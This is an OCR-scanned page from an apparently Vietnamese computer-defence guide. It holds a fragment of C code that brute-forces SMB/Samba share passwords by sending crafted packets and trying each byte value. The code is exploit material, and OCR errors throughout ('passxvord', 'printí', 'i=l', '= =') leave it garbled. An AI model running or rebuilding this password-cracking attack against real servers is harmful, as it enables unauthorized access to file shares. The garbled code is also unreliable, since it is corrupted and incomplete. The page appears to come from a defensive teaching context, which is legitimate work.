Page 123 - Hướng Dẫn Cách Phòng Thủ Và Khắc Phục Sự Cố Máy Tính
P. 123
{
printf ("Error: Couldn't establish session. \n");
return (0);
}
if (samba_session (sock, "31337", "")!=0)
{
printf ("Error: Could't establish login session.Xn");
return (0);
}
memset (password, 0, sizeof (password));
printí ("Wait a few seconds... (Long passwords take a
few minutes on a 56K modem.)\n");
while (done= =0)
{
for (i=l; i<=255; i++)
{
passxvord [len-1] = i;
// build packet
build_crafted_smb_packet (share, passvvord);
if (send (sock, smb_packet,
strlen (share) + strlen (passvvord) + 51, 0) = = -l)
{
printf ("Error: Couldn't send data. \n");
return (0);
}
memset (data, 0, sizeof (data));
if (recv (sock, data, 8192, 0) = = -1)
124